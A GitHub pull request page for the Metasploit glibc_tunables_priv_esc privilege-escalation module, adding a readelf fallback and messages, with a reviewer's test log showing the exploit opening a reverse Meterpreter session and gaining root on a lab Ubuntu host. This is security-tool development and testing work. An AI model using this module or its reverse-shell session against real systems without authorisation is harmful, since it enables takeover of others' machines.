Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improve a bit glibc_tunables_priv_esc #18632

Merged
merged 1 commit into from
Dec 28, 2023
Merged

Improve a bit glibc_tunables_priv_esc #18632

merged 1 commit into from
Dec 28, 2023

Conversation

jvoisin
Copy link
Contributor

@jvoisin jvoisin commented Dec 20, 2023

  • Fix some typos
  • Add a check via readelf should file not be available
  • Add a message before launching the exploit, since it might take some time to finish.

I didn't bother adding the elfutils method, since odds are it's not installed on production systems.

- Fix some typos
- Add a check via `readelf` should `file` not be available
- Add a message before launching the exploit, since it might take some time to finish.
@sempervictus
Copy link
Contributor

Looks sane at first glance, thanks boss

@jheysel-r7 jheysel-r7 self-assigned this Dec 28, 2023
@jheysel-r7
Copy link
Contributor

Thanks for the improvement @jvoisin! Much appreciated. I installed binutils + readelf on Ubuntu and commented out the file code path to ensure the new additions were executed. Everything worked without issue:

msf6 exploit(linux/local/glibc_tunables_priv_esc) > run

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable
[+] The Build ID for ld.so: 61ef896a699bb1c2e4e231642b2e1688b2f1a61e is in the list of supported Build IDs for the exploit.
[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.
[*] Sending stage (3045380 bytes) to 192.168.123.228
[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.228:51828) at 2023-12-28 12:31:08 -0500

meterpreter > getuid
Server username: root
meterpreter >

@jheysel-r7 jheysel-r7 merged commit 63eb5f2 into rapid7:master Dec 28, 2023
34 checks passed
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds improvements to the glibc tunables privilege escalation module. In the event the file command is not present on the target the module will try to use the readelf command in order to get the ld.so build ID to determine whether or not the target is compatible with exploit.

@jheysel-r7 jheysel-r7 added rn-enhancement release notes enhancement enhancement labels Dec 28, 2023
@jvoisin jvoisin deleted the more_checks_looney branch December 29, 2023 15:50
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement rn-enhancement release notes enhancement
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

3 participants